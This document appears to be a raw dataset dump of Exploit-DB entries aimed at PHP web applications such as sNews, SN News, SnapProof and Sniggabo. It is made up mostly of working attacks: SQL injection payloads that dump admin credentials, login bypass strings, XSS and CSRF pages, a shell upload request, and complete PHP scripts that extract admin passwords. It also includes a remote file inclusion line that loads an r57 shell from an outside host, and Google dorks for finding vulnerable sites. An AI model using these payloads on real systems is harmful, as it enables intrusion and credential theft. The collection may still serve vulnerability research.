deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8076
Description: smNews 1.0 - Authentication Bypass / Column Truncation
Type: webapps
Platform: php
Date: 2009-02-18
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:
Name           : smNews
Download       : http://downloads.sourceforge.net/simplequizz/simpleQuizz.zip?modtime=[PII_REDACTED]&big_mirror=0
Vulnerability  : Auth Bypass/Column Truncation
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian //
Greetz         : Str0ke,
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/smNews/login.php [...] register.php
[code]
  $results = execute('select',
        array('table' => 'users',
       'where' => array('username =~ ^'.$_POST['username'].'$', 'and', 'password = '.md5($_POST['password'])),
       'limit' => array(0,0)));
[/code]

[code]
  execute('insert',
    array('table' => 'users',
          'values' => array('username' => $_POST['username'],
                            'password' => md5($_POST['password']),
                            'email'    => $_POST['email'])));
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: 1- Username: admin ' or '
            Password: x0r
      2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an
      account with your passwd, email and nick 'lol' ^^ easy :P
########################################################################################

EOF

# milw0rm.com [2009-02-18]
Exploit-DB #5322
Description: Smoothflash - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-30
Author: S@BUN

Exploit:
##########################################
#
# Powered by Smoothflash SQL injection
# Powered by Newartonline
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "Powered by Smoothflash"
#
# DORK 2 : allinurl: "admin_view_image.php"
#
###########################################
EXPLOiT :

admin_view_image.php?cid=-99999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/lwsp_users


admin login on frontpage

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-03-30]
Exploit-DB #42798
Description: SMSmaster - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: SMSmaster – Multipurpose SMS Gateway for Wordpress - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/smsmaster-multipurpose-sms-gateway-for-wordpress/20605853
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/school/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -23102%20UNION%20SELECT%201,2,3,4,5,(SELECT%20GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=DATABASE()),7,8--%20-
# 
# Etc..
# # # # #
Exploit-DB #36764
Description: SMW+ 1.5.6 - 'target' HTML Injection
Type: webapps
Platform: php
Date: 2012-02-13
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51980/info

SMW+ is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code can run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

SMW+ 1.5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/Special:FormEdit?target=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F&categories=Calendar+
Exploit-DB #19005
Description: SN News 1.2 - '/admin/loger.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2012-06-07
Author: Yakir Wizman

Exploit:
##############################################################################
## SN News <= 1.2 (/admin/loger.php) Admin Bypass Remote SQL Injection Vulnerability
## Google Dork: "snews/visualiza.php?id="
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Date: 06/06/2012
## Version: 1.2
## Software Link: http://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
## ISRAEL
##############################################################################
##          Author will be not responsible for any damage.
##############################################################################
## Vulnerable Code - /admin/logar.php [4-15]:
4.$login = $_POST["login"];
5.$senha = $_POST["senha"];
6.$sql   = "select * from news_adm where login='$login' AND senha='$senha'";
7.$query = mysql_query($sql);
8.$nr    = mysql_num_rows($query);
9.if($nr>0){
10.$_SESSION["admin"] = "on";
11.echo "<script>
12.location.href='../'
13.</script>
14.";
15.}
## NOTE:
## As you can see there is no validation or any filter to variables $login and $senha.
## See line 6, so you can inject sql query by using $login and $senha variables.
## SQL Injection PoC:
## http://127.0.0.1/sn_news/admin/login.htm
## Login: ' or '1'='1
## Senha: ' or '1'='1
## This injection will bypass the admin login screen.
##############################################################################
# Cya :)
# 0x31337.net
##############################################################################
Exploit-DB #18999
Description: SN News 1.2 - 'visualiza.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-06
Author: WhiteCollarGroup

Exploit:
<?php
/*
# Exploit Title: SN News <= 1.2 SQL Injection
# Google Dork: intext:"Produzido por Clenisson Calaça."
# Google Dork: inurl:"snews/visualiza.php?id="
# Date: 05th 06 2012
# Software Link: http://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
# Version: 1.2
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

Example:
$ php mnews.php http://target.com/scripts/mnews/

*/

error_reporting(E_ERROR);
set_time_limit(0);
@ini_set("default_socket_timeout", 30);
 
function hex($string){
    $hex=''; // PHP 'Dim' =]
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return '0x'.$hex;
}


echo "\nSN News <= 1.2 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";

if($argc!=2) {
	echo "Usage: \n";
	echo "php $argv[0] <target url>\n";
	echo "Example:\n";
	echo "php $argv[0] http://www.website.com/snnews\n";
	exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
	$target .= "/";
}
$inject = $target . "visualiza.php?id=-0'%20";

$token = uniqid();
$token_hex = hex($token);

echo "[*] Trying to get informations...\n";
$infos = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", user(), ".$token_hex.", version(), ".$token_hex."),3,4,5-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
	echo "[*] MySQL version: $version\n";
	echo "[*] MySQL user: $user\n";
} else {
	echo "[-] Error while getting informations.\n";
}

echo "[*] Getting users...\n";
$i = 0;
while(true) {
	$dados_r = array();
	$dados = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", login, ".$token_hex.", senha, ".$token_hex."),3,4,5 from news_adm limit $i,1-- "));
	preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
	$login = $dados_r[1][0];
	$senha = $dados_r[2][0];
	if(($login) AND ($senha)) {
		echo "-+-\n";
		echo "User: $login\n";
		echo "Pass: $senha\n";
	} else {
		break;
	}
	$i++;
}

echo "-+-+-\n";
if($i!=0) {
	echo "[!] Admin login: {$target}admin/\n";
} else {
	echo "[-] Exploit failed. Make sure that's server is using a valid version of SN News without Apache mod_security.\nWe're sorry.";
}
echo "\n";
Exploit-DB #16257
Description: SnapProof - 'page.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-28
Author: AtT4CKxT3rR0r1ST

Exploit:
SnapProof (page.php) Sql Injection Vulnerability 
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.snapproof.com/
.:. Dork           : "Created and powered by SnapProof"
####################################################################

===[ Exploit ]===

www.site.com/page.php?pID=null[Sql]

www.site.com/page.php?pID=null+and+1=2+union+select+1,2,3,4
####################################################################
Exploit-DB #35401
Description: SnapProof - 'retPageID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-28
Author: difficult 511

Exploit:
source: https://www.securityfocus.com/bid/46622/info

SnapProof is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/cart.php?retPageID=[XSS]
Exploit-DB #4838
Description: snetworks PHP Classifieds 5.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-05
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       SNETWORKS PHP CLASSIFIEDS
*    [~] Page.........:       http://www.snetworks.biz/
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Demo.........:       http://xxxclassifieds.com/classifieds/
*    [~] Dork.........:       Powered by SNETWORKS PHP CLASSIFIEDS
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*    
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/config.inc.php?path_escape= http://www.sibersavascilar.com/cr/r57.txt?
*
*
*
*                            
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Can Yakar . . .
                     



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoFrm.com,BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-05]
Exploit-DB #27216
Description: sNews - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-14
Author: joffer

Exploit:
source: https://www.securityfocus.com/bid/16647/info
 
sNews is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.

http://www.example.com/index.php?category=1%20or%201=2

http://www.example.com/index.php?id=0%20or%201=2
Exploit-DB #14458
Description: sNews - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-24
Author: MajoR

Exploit:
# Exploit Title:sNews (index.php) SQL Injection Vulnerability

# Date: 2010-07-24

# Author: MajoR

# Software Link: http://snews.awddesign.co.uk

# Version: N/A

# Tested on: Wnidows xp SP2

# CVE : N/A



====================================================sNews (index.php) SQL Injection Vulnerability
===================================================

Author :   MajoR
Email  : Ma-j-oR@hotmail.fr

DORK    :  "Powered by sNews " inurl:index.php?id=

===================================================


[+] Vulnerable File : 

http://www.Victime.com/sNews/index.php?id=

[+] ExploiT :


-82/**/union/**/select/**/1,concat%28published,0x3a,name%29,3,4,5,6,7,8,9,10,11+from+categories--

====================================================


Greetingz To SlaSSi & Xella
Exploit-DB #27215
Description: sNews - Comment Body Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-14
Author: joffer

Exploit:
source: https://www.securityfocus.com/bid/16647/info

sNews is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.

post comment with <script>alert('XSS TEST by www.example.com');</script>
Exploit-DB #14465
Description: sNews 1.7 - 'index.php?category' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-24
Author: CoBRa_21

Exploit:
########################################################################################

sNews v1.7 (index.php?category) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Dork: "Powered by sNews"

########################################################################################
 
Sql Injection:

http://localhost/[path]/index.php?category=-3 union select 0,version(),2,3,4,5,6,7,8

########################################################################################
Thanks http://e-banka.org & http://www.cyber-warrior.org
########################################################################################
Exploit-DB #40706
Description: sNews 1.7.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-11-03
Author: Amir.ght

Exploit:
# Exploit Title : Snews CMS upload sheller
# Author : Ashiyane Digital Security Team
# Google Dork : "This site is powered by sNews"
# Date :  04/11/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://snewscms.com/
# Software link : http://snewscms.com/download/snews1.7.1.zip
# Version : 1.7(latest)
#######################################################3
need admin access for upload files but we can upload any file  without
bypass(.php,.exe,....)
1-goto http://SiteName/snews_files/
2- click on Browse botton and select you`re file
3- click on upload
sheller path is :
http://SiteName/shell.php

poc url:
http://localhost/snews_files/

Poc header:

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/snews_files/
Cookie: PHPSESSID=am9ffv1sg2kjkfnaku69tfgsu5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED]5004
Content-Length: 665

----------------------------[PII_REDACTED]5004\r\n
Content-Disposition: form-data; name="upload_dir"\r\n
\r\n
.\r\n
----------------------------[PII_REDACTED]5004\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/\r\n
\r\n
<?php phpinfo ?><br>\r\n
----------------------------[PII_REDACTED]5004\r\n
Content-Disposition: form-data; name="ip"\r\n
\r\n
127.0.0.1\r\n
----------------------------[PII_REDACTED]5004\r\n
Content-Disposition: form-data; name="time"\r\n
\r\n[PII_REDACTED]\r\n
----------------------------[PII_REDACTED]5004\r\n
Content-Disposition: form-data; name="upload"\r\n
\r\n
Upload\r\n
----------------------------[PII_REDACTED]5004--\r\n
Exploit-DB #40705
Description: sNews 1.7.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-11-03
Author: Amir.ght

Exploit:
# Exploit Title : Snews CMS Cross Site Request Forgery
# Author : Ashiyane Digital Security Team
# Google Dork : "This site is powered by sNews"
# Date :  1/11/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://snewscms.com/
# Software link : http://snewscms.com/download/snews1.7.1.zip
# Version : 1.7(latest)
#######################################################3
Change Username and Password of admin
We Dont need old user name and old password
<html>
  <!-- CSRF PoC  -->
  <body>
    <form name="form0" action="http://localhost/?action=process&task=changeup" method="POST">
      <input type="hidden" name="uname" value="Attacker" /> // new username
      <input type="hidden" name="pass1" value="Attacker" /> //new password
      <input type="hidden" name="pass2" value="Atacker" />// repeat new password
      <input type="hidden" name="task" value="changeup" />
      <input type="submit" name="submit_pass" value="Save" />
    </form>
  </body>
</html>
####################################################
######### exploit by: Amir.ght #####################
####################################################
Exploit-DB #30647
Description: SNewsCMS 2.1 - 'News_page.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-08
Author: medconsultation.ru

Exploit:
source: https://www.securityfocus.com/bid/25963/info

SNewsCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SNewsCMS 2.1is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/news_page.php?page_id=">XSS
Exploit-DB #31406
Description: SNewsCMS 2.x - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-17
Author: medprostuda.ru

Exploit:
source: https://www.securityfocus.com/bid/28262/info

SNewsCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SNewsCMS 2.3 and 2.4 are vulnerable to this issue; other versions may also be affected.

http://www.example.com/search.php?query="><h1>XSS</h1>
Exploit-DB #30453
Description: snif 1.5.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-08-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/25212/info

The 'snif' program is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect snif 1.5.2; other versions may also be affected. 

http://www.example.com/index.php?path=[xss]
http://www.example.com/index.php?download=[xss]
Exploit-DB #11309
Description: Snif 1.5.2 - Any Filetype Download
Type: webapps
Platform: php
Date: 2010-02-01
Author: Aodrulez

Exploit:
--------------------------------------------
-: Snif - "Any Filetype" Download Exploit :-
--------------------------------------------

Script   : Snif - (Simple And Nice Index File) 
Version  : 1.5.2 (possibly lower versions too)
Found By : Aodrulez.
Email    : f3arm3d3ar[at]gmail.com

Vulnerability:
--------------

Some Default Settings are:

$hiddenFilesWildcards = Array("*.php", "*~");
$allowPHPDownloads = false;

The first option will prevent any php file 
from being listed in the directory listing.
Second one will prevent download of files 
with ".php" extension.

Even with these options set,we can still
download php files....due to the following
vulnerable code:-

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if ($_GET["download"]!="") {
	
 $download = stripslashes($_GET["download"]);
 $filename = safeDirectory($path.rawurldecode($download));
 if (
	!file_exists($filename)
	OR fileIsHidden($filename)
	OR (substr(strtolower($filename), -4)==".php" AND !$allowPHPDownloads)) {
		
		
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The last line in the above code checks the
file's extension to make sure its not a php
file.This line of code is Vulnerable though

Exploit:
--------

Lets say the script is located here:
http://www.a.com/snif.php

The following url will bypass all restrictions
and let you download a php file :-

http://www.a.com/snif.php?download=snif.php%00


Greetz Fly Out To
-----------------

Amforked() 	         : My Mentor.
The Blue Genius      : My Boss.
www.orchidseven.com
www.isac.org.in
Exploit-DB #8933
Description: Sniggabo CMS - 'article.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-11
Author: Lidloses_Auge

Exploit:
<?php
print_r('

################################################

Sniggabo CMS - Remote SQL Injection Exploit

Date:				11.06.2009
Vulnerability discovered by:	Lidloses_Auge
Exploit coded by:		Lidloses_Auge
Homepage:		    	http://www.novusec.com
Greetz to:			-=Player=- , Suicide, enco,
				Palme, GPM, karamble, Free-Hack

Admin Panel: 			[target]/admin/login.php
Dork:				"powered by Sniggabo CMS" inurl:article.php?id
Use:				php '.$argv[0].' http://www.site.com

################################################

');
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--";
$src = file_get_contents($url);
$data = split("::",$src);
echo "Admin: $data[1]\nPassword: $data[2]\n";
?>

# milw0rm.com [2009-06-11]